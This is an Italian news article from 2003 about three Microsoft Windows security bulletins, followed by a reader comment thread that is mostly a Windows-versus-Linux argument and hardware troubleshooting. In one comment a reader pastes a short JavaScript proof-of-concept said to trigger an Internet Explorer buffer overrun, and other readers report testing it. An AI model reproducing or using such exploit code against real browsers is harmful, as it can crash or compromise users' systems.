Nuovi cerotti per Windows

Microsoft ha raccomandato agli amministratori di sistema di applicare immediatamente una patch che corregge una grave vulnerabilitÓ di sicurezza presente in tutte le versioni di Windows. Corrette anche due falle minori

Redmond (USA) - Con un nuovo bollettino di sicurezza, l'MS03-023, Microsoft ha avvisato i propri utenti dell'esistenza, in tutte le versioni di Windows, di un serio problema di sicurezza che potrebbe consentire ad un aggressore di prendere il controllo da remoto di un PC vulnerabile.

La falla, che consiste in un buffer overrun, interessa un componente che in Windows si occupa di convertire certi formati di file, come l'RTF, in HTML: ad esso si appoggiano diversi programmi, fra cui Internet Explorer, Outlook e Outlook Express. Un cracker potrebbe confezionare una mail o una pagina HTML ad hoc che, attraverso poche righe di script, sia in grado di sfruttare il bug ed eseguire del codice arbitrario sul sistema locale.

"Un utente - si legge nel bollettino di Microsoft - pu˛ consentire ad un aggressore di sfruttare la vulnerabilitÓ semplicemente visitando il sito Web di quest'ultimo".
La vulnerabilitÓ Ŕ stata classificata da Microsoft con il massimo fattore di rischio (critical) per tutte le versioni di Windows - 98, 98SE, Me, NT4, 2000 e XP - tranne che per Windows Server 2003, dove il rating Ŕ "moderate": in quest'ultimo sistema operativo - ha spiegato il big di Redmond - Internet Explorer adotta una configurazione di sicurezza predefinita che impedisce l'exploit automatico della vulnerabilitÓ.

Microsoft ha rilasciato altri due bollettini di sicurezza, l'MS03-024 e l'MS03-025, che descrivono rispettivamente due vulnerabilitÓ classificate "important".

La prima riguarda Windows NT Server 4.0, Windows 2000 e Windows XP Professional, e consiste in un buffer overrun contenuto nel codice che verifica la validitÓ dei pacchetti Server Message Block (SMB). Un aggressore in possesso di un account di rete valido potrebbe essere in grado di sfruttare la falla attraverso l'invio alla macchina vulnerabile di pacchetti corrotti: questi possono comportare la corruzione dei dati, il blocco del sistema o, in certi casi, l'esecuzione di codice.

La seconda vulnerabilitÓ interessa solo lo Utility Manager di Windows 2000, un programma che consente di avviare e configurare gli strumenti per l'accesso facilitato al sistema operativo (Magnifier, Tastiera su schermo, ecc.). Un bug nella gestione dei messaggi di Windows da parte dell'Utility Manager pu˛ consentire ad un utente malintenzionato di prendere il controllo dell'intero sistema attraverso un programma scritto ad hoc.

Le patch che risolvono i problemi sopra descritti possono essere scaricate seguendo i link contenuti all'interno dei bollettini di sicurezza o attraverso i servizi Windows Update/Aggiornamento automatico.
TAG: microsoft
139 Commenti alla Notizia Nuovi cerotti per Windows
Ordina
  • Ormai Windows m'ha rotto i c****oni e mi son scocciato di dover sempre aggiornare antivirus e di dovermi abbassare a piratare.
    Con i dialer, poi, è diventato un inferno. Che senso ha dover disabilitare funzionalità in explorer se poi i siti le utilizzano? Sarebbe stato meglio non averle mai proposte ai web-developer.
    Con quel poco di unix che ho visto a scuola voglio passare a qualcosa di diverso.
    M'han detto che la Mandrake è ottima, tanto che ormai la preistallano come si fa con Windows. A che punto è la distribuzione 9.2 ?



    non+autenticato

  • - Scritto da: Anonimo
    > Ormai Windows m'ha rotto i c****oni e mi son
    > scocciato di dover sempre aggiornare
    > antivirus e di dovermi abbassare a piratare.
    > Con i dialer, poi, è diventato un inferno.
    > Che senso ha dover disabilitare funzionalità
    > in explorer se poi i siti le utilizzano?
    > Sarebbe stato meglio non averle mai proposte
    > ai web-developer.
    > Con quel poco di unix che ho visto a scuola
    > voglio passare a qualcosa di diverso.
    > M'han detto che la Mandrake è ottima, tanto
    > che ormai la preistallano come si fa con
    > Windows. A che punto è la distribuzione 9.2
    > ?

    Poverino... tornerai a windows di corsa !!
    non+autenticato

  • - Scritto da: Anonimo
    >
    > - Scritto da: Anonimo
    > > Ormai Windows m'ha rotto i c****oni e mi
    > son
    > > scocciato di dover sempre aggiornare
    > > antivirus e di dovermi abbassare a
    > piratare.
    > > Con i dialer, poi, è diventato un inferno.
    > > Che senso ha dover disabilitare
    > funzionalità
    > > in explorer se poi i siti le utilizzano?
    > > Sarebbe stato meglio non averle mai
    > proposte
    > > ai web-developer.
    > > Con quel poco di unix che ho visto a
    > scuola
    > > voglio passare a qualcosa di diverso.
    > > M'han detto che la Mandrake è ottima,
    > tanto
    > > che ormai la preistallano come si fa con
    > > Windows. A che punto è la distribuzione
    > 9.2
    > > ?
    >
    > Poverino... tornerai a windows di corsa !!

    Sorride)

    non piu'
    mi son scocciato di pagare e non mi va più di inventarmi espedienti pirateschi, date le recenti restrizioni imposte da chi produce Windows
    non+autenticato
  • - Scritto da: Anonimo
    >
    > non piu'
    > mi son scocciato di pagare e non mi va più
    > di inventarmi espedienti pirateschi, date le
    > recenti restrizioni imposte da chi produce
    > Windows

    Ok, bye bye... Windows non ha certo bisogno di soggetti come te... e viste le difficoltà economiche forse neanche Mandrake, ma tant'è... cavoli loro.

    Zeross
    1303


  • Vai pure! Speri di non dover patchare? Ottimo, un nuovo sistema disponibile in rete per farci quello che voglio.
    non+autenticato
  • guarda che un pc client senza porte aperte ha ben poco da patchare... basta che tieni aperte solo quelle del dhcp se ti servono e hai finito
    su linux i browser non si patchano quasi mai e soprattutto con tempi molto più brevi... ie ha ancora 3 e dico 3 buffer overflow già scoperti da un bel pezzo e ancora da risolvere... possono fare quello che vogliono con chi lo usa
    ma se pure avesse delle vulnerabilità a parte che nessuno si mette a bucare dei linux client ma poi si troverebbe un account utente e ci fai poco (o niente se configuri bene)
    non+autenticato

  • - Scritto da: Anonimo
    >
    >
    > Ottimo, un nuovo sistema disponibile in rete
    > per farci quello che voglio.

    il tuo intervento puzza di propaganda pro-windows:.
    Se tu fossi così convinto di avere in mio potere il mio sistema non staresti a dirmelo.
    Il tuo intervento si adatta più a chi vuole che noi win-utenti rimaniamo attaccati alla "mamma".

    Ma chi vuoi spaventare?

    Ora piu' che mai rimango convinto della mia decisione di saltare il fosso

    Ma qui, insomma, qualche consiglio sulla distribuzione Mandrake di prossima uscita la trovo ?





    non+autenticato
  • lasciali perdere che tanto sanno fare solo fud (1)
    e a parte questo si mettesse bene in testa che in ie rimangono ancora *3* buffer overflow!
    sarebbe a dire che chiunque lo usa può semplicemente andando su un sito automaticamente mettere in mano il suo computer al lamer di turno o beccarsi l'ultima novità nel campo dei virus

    (1) per chi non lo sapesse fud è l'acronimo di fear, uncertainty and doubt ed è una strategia di mercato che crea "quest'aria" di incertezza verso prodotti concorrenti per trarne vantaggio sui propri
    non+autenticato

  • - Scritto da: Anonimo
    > Ma qui, insomma, qualche consiglio sulla
    > distribuzione Mandrake di prossima uscita la
    > trovo ?

    La prossima mandrake sarà la 9.2 e uscirà sul finire dell'anno. Indi per cui vai con la 9.1 (che è semplicemente eccezionale) e quando uscirà la 9.2 farai un semplice upgrade.
    non+autenticato
  • io ti consiglierei un bel portatile Apple... costa poco rispetto ai concorrenti ed è compatibile con tutto e tuttiSorride
  • "Sono andato ad un Lan party... e ho giocato da solo"

    (qual'era il sito con tutto l'elenco?)
    non+autenticato
  • Con le attuali distribuzioni di Linux e' molto difficile che un winaro doc possa cavarci qualcosa di diverso da un mal di testa. Deluso
    non+autenticato

  • - Scritto da: Anonimo
    > Con le attuali distribuzioni di Linux e'
    > molto difficile che un winaro doc possa
    > cavarci qualcosa di diverso da un mal di
    > testa. Deluso

    Certo, e che mal di testa !
    Considerato che molte cose che con windows fai in 2 click, per farle in linux ti devi sbattere per capire come editare il relativo file di testo !
    No grazie, preferisco la praticità, alle complicazioni insensate !
    E finche linux non diventerà + user friendly di windows, non troverà mai posto sul mio hard disk !
    non+autenticato
  • > Certo, e che mal di testa !
    > Considerato che molte cose che con windows
    > fai in 2 click, per farle in linux ti devi
    > sbattere per capire come editare il relativo
    > file di testo !
    > No grazie, preferisco la praticità, alle
    > complicazioni insensate !
    > E finche linux non diventerà + user friendly
    > di windows, non troverà mai posto sul mio
    > hard disk !

    TU con 2 click puoi solo fare ciò che M$ ha DECISO AL POSTO TUO di farti fare col tuo PC, con Linux sei tu che decidi autonomamente cosa fare col PC.

    ...scusa se è poco...
    non+autenticato
  • > Considerato che molte cose che con windows
    > fai in 2 click, per farle in linux ti devi
    > sbattere per capire come editare il relativo
    > file di testo !

    scusa ma ad esempio ?
    forse non sai che sulle distribuzioni come redhat se vuoi fai tutto con 2 click come su win e solo se vuoi qualcosa di veramente particolare vai sui file di testo...
    cose che tra l'altro su win nemmeno potresti fare
    non+autenticato
  • >
    > scusa ma ad esempio ?
    > forse non sai che sulle distribuzioni come
    > redhat se vuoi fai tutto con 2 click come su
    > win e solo se vuoi qualcosa di veramente
    > particolare vai sui file di testo...
    > cose che tra l'altro su win nemmeno potresti
    > fare

    E' vero che adesso con Linux la vita è più facile con le interfacce di configurazione ma certe cose non sono poi così semplici.
    Ad esempio con Windows uso una tavoletta grafica Wacom, la connetto nella porta USB a va senza problemi, con due click gli ho installato i driver e in due minuti ero in Photoshop...
    con Linux invece mi è toccata una buona mezz'oretta da linea di comando per configurare la stessa tavoletta e poi è andato tutto a posto.
    Morale: mi sono lamentato per il tempo perso ? Mi sono iscritto ad una caccia al pinguino? Ho sigillato le mie "finestre"?
    No !
    Le cose stanno così e basta ! Non complichiamoci la vita !
    Meglio Linux o Windows? E chi se ne frega ! Io li uso tutti e due e non vado a persuadere le gente a usare uno o l'altro !

    E poi piantiamola con sta storia di Linari e Winari, chi usa un Mac cos'è, un Maccaro?
    E chi usa più OS (come il sottoscritto) è impuro? Non potrei entrare nei negozi e dovrei sedermi in fondo agli autobus?

    Suvvia, un po' di serieta !!
    non+autenticato
  • > Ad esempio con Windows uso una tavoletta
    > grafica Wacom, la connetto nella porta USB a
    > va senza problemi, con due click gli ho
    > installato i driver e in due minuti ero in
    > Photoshop...
    > con Linux invece mi è toccata una buona
    > mezz'oretta da linea di comando per
    > configurare la stessa tavoletta e poi è
    > andato tutto a posto.

    Anche se poi ti sei accorto che Photoshop non gira su Linux
    A bocca aperta

    > Suvvia, un po' di serieta !!

    Appunto se devi "solo" fare velocemente piccoli lavori standard dal pc di casa evviva Windows, ma un'azienda che ha assunto un tecnico che conosce bene Linux puo' pensare a risparmiare parecchio sui servizi offerti dall'informatica utilizzando Linux.

    .. e pagando di piu' il tecnico. (OK adesso sto debordando nella fantascienza) A bocca aperta
    non+autenticato
  • Da tempo cerco un'alternativa a winxp, non tanto per crash e palle varie: che ci crediate o no, lo tengo acceso 24h/24 ma non si pianta mai.
    Ad onor del vero il SO sarebbe (SAREBBE) anche un buon prodotto, purtroppo è supportato da una politica di mer#a: prezzi da capogiro, spyware dappertutto, vulnerabilità risolte con ritardi mostruosi, applicazioni semplici che succhiano megabyte a palate. Se si limitassero a fare un so robusto invece di una porcata a base di "lecchiamo le chiappe alle major proteggiamo tutto rendiamo tutto blindato", allora winXP non sarebbe male, anzi.
    Cmq, visto che il futuro M$ lo vedo sempre più oscurato dalla loro voglia di blindare tutto senza risolvere l'essenziale, vorrei provare linux. Alcune cose però mi lasciano perplesso, spero che qualcuno di voi mi risolva i dubbi:
    - win è strapieno di giochi. Come fate sotto linux? Non si gioca?Occhiolino
    - i prompt dei comandi non mi spaventano affatto, però le iconcine colorate non mi dispiacciono. Che distro mi consigliate? Considerate che scarico veloce, flattato e che le distro in italiano e decentemente comprensibili sono gradite.

    Beh, comincia l'avventura Fan Linux
    non+autenticato
  • > Da tempo cerco un'alternativa a winxp, non
    > tanto per crash e palle varie: che ci
    > crediate o no, lo tengo acceso 24h/24 ma non
    > si pianta mai.

    ci credo, ci credo... xp non si blocca per un bel pò però se fà a gara con linux non crederti che la spunti (si parlo proprio di due client/workstation stressatissimi e entrambi ben configurati)

    > Ad onor del vero il SO sarebbe (SAREBBE)
    > anche un buon prodotto, purtroppo è
    > supportato da una politica di mer#a: prezzi
    > da capogiro, spyware dappertutto,
    > vulnerabilità risolte con ritardi mostruosi,
    > applicazioni semplici che succhiano megabyte
    > a palate.

    vero ma essendo commerciale che più commerciale non si può è difficile che la vedano da questo punto di vista. ma lo sai al manager che gliene frega che il suo programma che fà così tanto business si assegni la memoria e non la lasci più... il pc non è solo mercato

    > Se si limitassero a fare un so
    > robusto invece di una porcata a base di
    > "lecchiamo le chiappe alle major proteggiamo
    > tutto rendiamo tutto blindato", allora winXP
    > non sarebbe male, anzi.

    e poi chi se lo compra quello nuovo ?
    e poi a chi gli *propongono* di metterlo su tutti i pc preinstallato ?

    > Cmq, visto che il futuro M$ lo vedo sempre
    > più oscurato dalla loro voglia di blindare
    > tutto senza risolvere l'essenziale, vorrei
    > provare linux.

    bene ti consiglio di leggere questo libro magari ti fa comodo:
    Da Windows a Linux. lo trovi sia in libreria oppure online gratuitamente all'indirizzo: http://attivissimo.homelinux.net/w2l1/index.htm

    > Alcune cose però mi lasciano
    > perplesso, spero che qualcuno di voi mi
    > risolva i dubbi:
    > - win è strapieno di giochi. Come fate sotto
    > linux? Non si gioca?Occhiolino

    di meno ma si gioca e pure qui non sentirai troppo la mancanza, ultimamente ne escono molti di più

    http://www.linuxgames.com/
    http://www.linuxgamingnews.com/
    http://www.happypenguin.org/
    http://www.linux-games.com

    > - i prompt dei comandi non mi spaventano
    > affatto, però le iconcine colorate non mi
    > dispiacciono. Che distro mi consigliate?

    redhat o debian
    se sei più avventuroso provi la debian che è un bel linux pulito pulito (quasi ormai)
    se ti piacciono le icone provi la redhat che oltrettutto è tra le più diffuse e supportate (anche la mandrake ma non mi piace)
    non+autenticato
  • > di meno ma si gioca e pure qui non sentirai troppo la
    > mancanza, ultimamente ne escono molti di più

    Guarda che lui parlava di GIOCHI non roba free opensorcia daiSorride
    non+autenticato

  • > Da tempo cerco un'alternativa a winxp, non
    > tanto per crash e palle varie: che ci
    > crediate o no, lo tengo acceso 24h/24 ma non
    > si pianta mai.

    E' ora che i linari lo capiscano che non si pianta mai, ma da un orecchio gli entra e dall'altro gli esce.

    > - win è strapieno di giochi. Come fate sotto
    > linux? Non si gioca?Occhiolino

    Certo che si gioca, ma ai giochi di qualche anno fa, se sei abituato a giocare sempre alle ultime novità tipo unreal 2, vice city, colin mcrae rally 3 ecc, allora scordati linux, perchè per linux non escono o se escono passano anni e anni, visto che un gioco per essere per linux un gioco deve essere rilasciato sotto GPL, quindi gratis.

    > - i prompt dei comandi non mi spaventano
    > affatto, però le iconcine colorate non mi
    > dispiacciono. Che distro mi consigliate?

    L'interfaccia grafica di linux non è altro che un programma, non è il S.O. vero e proprio, come per windows. Ragion per cui, come tutti i programmi, l'interfaccia grafica potrebbe avere bug o andare in crash.

    > Considerate che scarico veloce, flattato e
    > che le distro in italiano e decentemente
    > comprensibili sono gradite.

    Scarichi veloce e flattato ?
    Spero non con modem adsl usb, altrimenti non potrai scaricare + visto che il 99% dei produttori di modem usb non rilasciano driver per linux e quindi ti attacchi o cerchi soluzioni di ripiego.

    > Beh, comincia l'avventura Fan Linux

    Io dico che in meno di una settimana tornerai a XP !
    Linux non è fatto per essere usato come S.O. casalingo, ma andrebbe utilizzato per fare cose + serie, forse....
    non+autenticato

  • - Scritto da: Anonimo
    >
    > > Da tempo cerco un'alternativa a winxp, non
    > > tanto per crash e palle varie: che ci
    > > crediate o no, lo tengo acceso 24h/24 ma
    > non
    > > si pianta mai.
    >
    > E' ora che i linari lo capiscano che non si
    > pianta mai, ma da un orecchio gli entra e
    > dall'altro gli esce.

    ogni tecnico di assistenza sa quanto questa sia una megaballa.

    gli BSOD erano, sono e (inevitabilmente) saranno sempre la dimostrazione di quanto inutile sia la propaganda dei win-maniac sull'impossibilità dei crash di winxp/20000/eccc

    > un
    > gioco per essere per linux un gioco deve
    > essere rilasciato sotto GPL, quindi gratis.

    che straballa. _Comprai_ Civlization III alla Coop qualche mese fa.

    non+autenticato

  • > gli BSOD erano, sono e (inevitabilmente)
    > saranno sempre la dimostrazione di quanto
    > inutile sia la propaganda dei win-maniac
    > sull'impossibilità dei c
    > >
    > > E' ora che i linari lo capiscano rash di
    > winxp/20000/eccc

    E' inutile perdere tempo con voi linari... siete duri di testa !
    Ve lo spiego così forse lo capite:
    DA WINDOWS 2000 PRO IN POI LA MICROSOFT HA IMPLEMENTATO IL KERNEL NT NEI PROPRI SISTEMI OPERATIVI, MENTRE DA WIN 95 A WIN ME IL KERNEL ERA DIVERSO E MOOOLTO MENO STABILE E LE BSOD OVVIAMENTE ERANO UNA INFINITA' !!!!!!
    OOOO spero di essere stato chiaro !
    E' vero che le schermate blu ci sono in win 2000/xp ma hanno un'altra funzione... segnalano la presenza di gravi problemi spesso a livello hardware, tipo grossi conflitti irq, oppure processore che per il caldo si surriscalda troppo e provoca un crash ecc ecc

    > > un
    > > gioco per essere per linux un gioco deve
    > > essere rilasciato sotto GPL, quindi
    > gratis.
    >
    > che straballa. _Comprai_ Civlization III
    > alla Coop qualche mese fa.

    E siccome hai comprato civilization3 allora io troverò su linux tuti i giochi che ci sono su windows ???
    Ma smettila di arrampicarti sugli specchi !
    non+autenticato
  • Non dire pallonerie, linux (e tutti gli Unix) saranno sempre meglio di quella ciofeca di winzozz, la dimostrazione è che M$ ha di fatto 'troncato' il ramo non NT dei suoi sistemi operativi.
    Hai idea della gente che nel 1998 (e seguenti) ha acquistato un computer con win98 e che si è sentita dire "... questo è il miglior sistema operativo ...blablabla... è bellissimo ...blablabla ... è stabilissimo ...blablabla... non esiste niente di meglio ..."
    per trovarsi qualche anno dopo si sente dire da M$ stessa che il ramo non NT dei suoi sistemi operativi non è sicuro, non è stabile,.... e quanto altro.

    E poi a molte persone piace usare Linux e basta, senza stare a guardare se win è diventato più o meno stabile della versione precedente.

    non+autenticato

  • - Scritto da: Anonimo

    > E poi a molte persone piace usare Linux e
    > basta, senza stare a guardare se win è
    > diventato più o meno stabile della versione
    > precedente.
    >

    GRANDE!!!!
    Da anni lavoro sotto windows ma da qualche mese mi sto convertendo a Linux. Li uso entrambi, Win più per lavoro, Linux più per studiarlo.
    Da un mesetto sono in "vacanza" e sto facendo tutto sotto linux: studio, lavoro, svago. Già, da anni non giocavo più perché i games 3D fanno perdere troppo tempo, ma nei momenti di pausa mi piacere giocherellare con gli "stupidissimi" stile klines mentre sale su il caffé.
    Ho un win 2k stabile che mi ha mai crashato in sei mesi, ma ho una redhat altrettanto stabile e un desktop grafico altrettando stabile perché sto ancora aspettando il famoso crash del WM. Però linux mi consente anche le tante chicche che mi posso permettere tipo editare una pagina web direttamente dalla shell usando cat o vi. Lo so, non serve a un piffero ma è una cosa delle tante cose che con Linux posso fare. Sarà più difficile (?) ma sicuramente è molto più elastico.

    Quello che hai detto è sacrosanto: chi usa Linux lo fa perché gli piace, inizia per curiosità, per gioco, ma poi quando lo conosce finisce per usarlo anche per lavorare.
    gian_d
    10466
  • > nei momenti di pausa mi piacere giocherellare con
    > gli "stupidissimi" stile klines mentre sale su il caffé

    > Però linux mi consente anche le tante chicche che mi posso
    > permettere tipo editare una pagina web direttamente dalla
    > shell usando cat o vi.

    > Sarà più difficile (?) ma sicuramente è molto più elastico.

    Più elastico di cosa... ma cazzo Linux vi da alla testa, siete fuori come dei balconi... ma le leggi le cazzate che scrivi???SorrideSorride Dai aspetta che apro una shell e modifico la pagina "in modo da usare un sistema diverso da Win per poi potermene vantare"... siamo agl iassurdiSorride
    non+autenticato

  • - Scritto da: Anonimo
    > > nei momenti di pausa mi piacere
    > giocherellare con
    > > gli "stupidissimi" stile klines mentre
    > sale su il caffé
    >
    > > Però linux mi consente anche le tante
    > chicche che mi posso
    > > permettere tipo editare una pagina web
    > direttamente dalla
    > > shell usando cat o vi.
    >
    > > Sarà più difficile (?) ma sicuramente è
    > molto più elastico.
    >
    > Più elastico di cosa... ma cazzo Linux vi da
    > alla testa, siete fuori come dei balconi...
    > ma le leggi le cazzate che scrivi???SorrideSorride
    > Dai aspetta che apro una shell e modifico la
    > pagina "in modo da usare un sistema diverso
    > da Win per poi potermene vantare"... siamo
    > agl iassurdiSorride

    le ca**ate che scrivo le penso, le scrivo e le rileggo. sicuramente Linux è più elastico di te se non sei in grado di interpretare con un minimo di decenza quello scrivono gli altri. posso permettermi di fare quello che mi pare del mio tempo libero, compreso giocare con la shell e non mi vanto di questo. HO FORSE SCRITTO CHE SI DEVE USARE LA SHELL PER FARE UNA PAGINA WEB? NO! perciò se non sei in grado di leggere e interpretare correttamente una frase datti all'equitazione
    Have a nice day
    gian_d
    10466


  • >
    > > > un
    > > > gioco per essere per linux un gioco
    > deve
    > > > essere rilasciato sotto GPL, quindi
    > > gratis.
    > >
    > > che straballa. _Comprai_ Civlization III
    > > alla Coop qualche mese fa.
    >
    > E siccome hai comprato civilization3 allora
    > io troverò su linux tuti i giochi che ci
    > sono su windows ???
    > Ma smettila di arrampicarti sugli specchi !

    intanto la tua prima è una bugia gigantesca! nessun prodotto per girare su linux deve essere GPL!
    è vero che i giochi non sono tanti però alcuni escono e non con tanto scarto (vedi Neverwinter Nights che non tanto dopo l'uscita per win ha rilasciato un client per Linux) inoltre se proprio si vuole giocare agli ultimi giochi si può usare winex che funziona con molti giochi nuovi, anche se purtroppo non è gratis (e forse costa pure un po troppo...)
  • Devo reinstallare da zero Windows su PC e devo scegliere tra 2000-pro e XP-pro.

    2000 (con SP4) mi pare un sistema ben collaudato e in qualche modo più leggero di XP, però comincia ad essere un po' vecchiotto soprattutto in termini di compatibilità hardware (avevo dei problemi sotto 2000 con una SBLive che sono scomparsi con XP).

    XP ha il vantaggio di essere un sistema più recente (in futuro sarà supportato sempre di più rispetto a 2000), però mi dà l'impressione di essere meno stabile e più pesante, inoltre non mi sono mai molto abituato al nuovo stile grafico.

    Tenete presente che devo usare il PC sia per i videogiochi (= mi serve compatibilità!) sia per navigazione web e applicazioni office (= mi serve stabilità!).

    Per favore lasciate perdere risposte tipo "installa linux", visto che al lavoro utilizzo linux da anni, detesto le guerre di religione tra sistemi operativi e su ciascun computer che ho metto quel che mi serve. Grazie

    non+autenticato
  • io continuo imperterrito con Windows 2000 pro, teoricamente per ancora qualche anno (3-5) sara' supportato....

    mi pare strano che non si trovino driver decenti x una SBLive, al contrario voglio vederti a trovare driver su XP per periferiche magari un attimo obsolete tipo qualche scanner o cose di questo tipo
    non+autenticato
  • > mi pare strano che non si trovino driver
    > decenti x una SBLive, al contrario voglio
    > vederti a trovare driver su XP per
    > periferiche magari un attimo obsolete tipo
    > qualche scanner o cose di questo tipo

    Per un paio d'anni la scheda è andata benissimo sotto 2K, poi, non ho mai capito per quale motivo, ha iniziato a dare i tipici problemi di latenza PCI, tipo se sposti una finestra mentre ascolti un mp3 la musica "salta". Pare che sia un problema noto di compatibilità tra le prime SBLive e il chipset VIA della mia ASUS A7V (una delle prime socketA KT133). A proposito, leggendo in giro per questo problema ho appreso che le schede audio Creative non hanno più una buona reputazione...

    Ho provato di tutto: upgrade e impostazioni del BIOS, driver aggiornati Creative, driver e patch di VIA e altri, ma niente da fare. L'unica soluzione sembra essere piallare tutto e reinstallare, per questo stavo considerando XP. L'ho installato su un secondo disco e finora si è comportato bene però mi pare molto pesante...

    Riguardo al supporto di 2000 mi riferivo più al software che all'hardware, ed in particolare ai videogiochi. Mi spiego: secondo me nei prossimi anni chi produce videogiochi li testerà per lo più sotto XP e basta...

    non+autenticato
  • provato a mettere la SBLive sul PCI3?
    Anche io ho avuto la A7V e non ho mai avuto problemi di quel genere.
    Concordo cmq con il post sopra... lascia perdere XP e usa Win2KPro e se magari fai un dual boot perchè non ci metti una bella Mandrake 9.1Occhiolino

    Saluti
    non+autenticato

  • - Scritto da: Anonimo
    > provato a mettere la SBLive sul PCI3?
    > Anche io ho avuto la A7V e non ho mai avuto
    > problemi di quel genere.

    Ho provato tutti gli slot, con risultati anche peggiori....
    Il bello è che per due anni ha funzionato tutto, poi non so perchè sono iniziati i problemi. La scheda non è guasta, su WinME e su WinXP funziona bene.

    > Concordo cmq con il post sopra... lascia
    > perdere XP e usa Win2KPro e se magari fai un
    > dual boot perchè non ci metti una bella
    > Mandrake 9.1Occhiolino

    Perchè la uso quotidianamente 8-10 ore al lavoro, l'ho installata anche sul portatile, e sul PC desktop di casa (dedicato a videogiochi e office) non mi serve!

    non+autenticato
  • - Scritto da: Anonimo
    > Ho provato tutti gli slot, con risultati
    > anche peggiori....
    > Il bello è che per due anni ha funzionato
    > tutto, poi non so perchè sono iniziati i
    > problemi. La scheda non è guasta, su WinME e
    > su WinXP funziona bene.

    abbassa l'accelerazione della grafica.... sembra strano ma è cosi'...

    non+autenticato

  • - Scritto da: Anonimo
    > abbassa l'accelerazione della grafica....
    > sembra strano ma è cosi'...

    Provato anche quello, sia con la GeForce2 MX sia con la Radeon 9500Pro... niente da fare! Quel che mi dà fastidio è che prima funzionava e ora non funziona più... non è possibile che fare la manutenzione di Windows significhi piallare e reinstallare tutto periodicamente!
    non+autenticato

  • - Scritto da: Anonimo
    > non è
    > possibile che fare la manutenzione di
    > Windows significhi piallare e reinstallare
    > tutto periodicamente!

    E' possibile, è possibile.....
    Purtroppo Windows è così....

    Comunque, per quanto mi riguarda W2K finchè dura....
    non+autenticato

  • - Scritto da: Anonimo
    >
    > - Scritto da: Anonimo
    > > abbassa l'accelerazione della grafica....
    > > sembra strano ma è cosi'...
    >
    > Provato anche quello, sia con la GeForce2 MX
    > sia con la Radeon 9500Pro... niente da fare!
    > Quel che mi dà fastidio è che prima
    > funzionava e ora non funziona più... non è
    > possibile che fare la manutenzione di
    > Windows significhi piallare e reinstallare
    > tutto periodicamente!

    Putroppo è l'effetto che io definirei "usura del sw".
    Non vorrei scatenare un flame, ma a me pare che a volte il sw m$ si usuri come le parti din un'auto, per cui, come tutte le parti meccaniche, vada sostituito (= reinstallato) dopo un certo numero di Km (=ore).

    Ciao
    non+autenticato

  • - Scritto da: Anonimo

    > Riguardo al supporto di 2000 mi riferivo più
    > al software che all'hardware, ed in
    > particolare ai videogiochi. Mi spiego:
    > secondo me nei prossimi anni chi produce
    > videogiochi li testerà per lo più sotto XP e
    > basta...
    >

    beh... l'architettura winXP e mooolto simile a win2k, quindi non vedo problemi software almeno per i prossimi 5 anni
    non+autenticato

  • segui questo link per avere la risposta:

    http://www.gentoo.org
    non+autenticato
  • Server 2003 è un pacco ben confezionato. Un windows 2000 con i servizzi tutti giù di default e qualche utility aggiuntiva....

    Certo che Microsoft ha un grosso coraggio per spaciarlo come "il sistema operativo che risolverà tutti i problemi di sicurezza!!"

    In questa vulnerabilità scommetto che il browser era inutilizzabile a causa di questa feature disabilitata. .. Praticamente se lo si voleva usare (non lo si dovrebbe usare ma ho visto dei sistemisti windows che navigavano nelle macchine in produzione!!!) si doveva abilitare questa opzione. e... BAM!

    Non ditemi che non c'entra niente col browser perchè altrimenti Bill si dovrebbe mangiare i cxxxxxxx : gira da tempo su bug traq un buffer overrun che in una pagina html all'ungando il campo HR genera un buffer ovverun. Quindi suppongo che MIcrosoft abbia corretto anche questa falla

    Penso addirittura che il SP4 non risolva questa falla anche perchè è recentissima....

    A Tutti i difensori di Microsoft .. un GOOD LUCK and see you to the next bug!!!

    allego lo script.....




    wnd=open("about:blank","","");
    wnd.moveTo(screen.Width,screen.Height);
    WndDoc=wnd.document;                   
    WndDoc.open();    
    WndDoc.clear();
    buffer="";    
    for(i=1;i<=127;i++)buffer+="A";
    buffer+="DigitalScream";       
    WndDoc.write("");
    WndDoc.execCommand("SelectAll");        
    WndDoc.execCommand("Copy");    
    wnd.close();               
        



    non+autenticato
  • 1)Servizi con una "z" sola
    2)"all'ungando"? Novità linguistica.....
    3)Quanto ai bachi di MS hai per lo più ragione, questi buffer hanno rotto le OO, a Redmond dovrebbero vergognarsi. Ma Win2k3 è qualche cosa di più (e di meglio) di quanto da te descritto. Provalo senza pregiudizi e te ne renderai conto da solo.
    non+autenticato

  • - Scritto da: Anonimo
    > 1)Servizi con una "z" sola
    > 2)"all'ungando"? Novità linguistica.....
    > 3)Quanto ai bachi di MS hai per lo più
    > ragione, questi buffer hanno rotto le OO, a
    > Redmond dovrebbero vergognarsi. Ma Win2k3 è
    > qualche cosa di più (e di meglio) di quanto
    > da te descritto. Provalo senza pregiudizi e
    > te ne renderai conto da solo.

    Abbiamo gia dato grazie! Troll
    non+autenticato
  • Mi si apre una finestra e mi si chiude subito dopo senza dare nessun errore... e non ho installato ancora nessuna patch... Troll
    non+autenticato

  • - Scritto da: Anonimo
    > Mi si apre una finestra e mi si chiude
    > subito dopo senza dare nessun errore... e
    > non ho installato ancora nessuna patch...
    > Troll
    Quindi i sistemi precedenti 2003 erano una bufala! Troll
    non+autenticato
  • Giovanotto .... il forum di PI taglia fuori il codice html quindi quello che è restato (java script) cablalo dentro una pagina html (sempre che ne sia capace) e guardati il risultato...

    non+autenticato
  • penso che lo abbia proprio testato, visto che "gli si apre una nuova finestra che poi si richiude subito" che è quello che lo script dovrebbe fare (gli altri comandi sono quasi istantanei a meno di non farli su un 486...)

    Forse che sono i soliti vecchi bug di IE 5.x che ormai solo un suicida potrebbe avere sul PC e che molti spacciano ancora per current sulle versioni + recenti?
    non+autenticato
  • -
    > A Tutti i difensori di Microsoft .. un GOOD
    > LUCK and see you to the next bug!!!


    Vabbè che tutti sti bug cominciano a romperli di brutti, ma voi poveracci che col pc non ci fate nulla avete rotto ancor di più.
    Se non vi servono quel mare di programmi che trovo solo su windows perchè vi basta aprire un notepad e scrivere quattro cazzate buon per voi, a me servono giochi e programmi che sotto linux & co. purtroppo non trovo. Quando anche quel pinguino con la faccia da deficente conterà su tutto quel ben di Dio, butto sto cesso di windows. Fino ad allora, tacete per favore.
    non+autenticato
  • ... ti darei anche ragione... ma c'è un piccolo particolare ... stavamo parlando di Server


    non+autenticato
CONTINUA A LEGGERE I COMMENTI
1 | 2 | 3 | Successiva
(pagina 1/3 - 12 discussioni)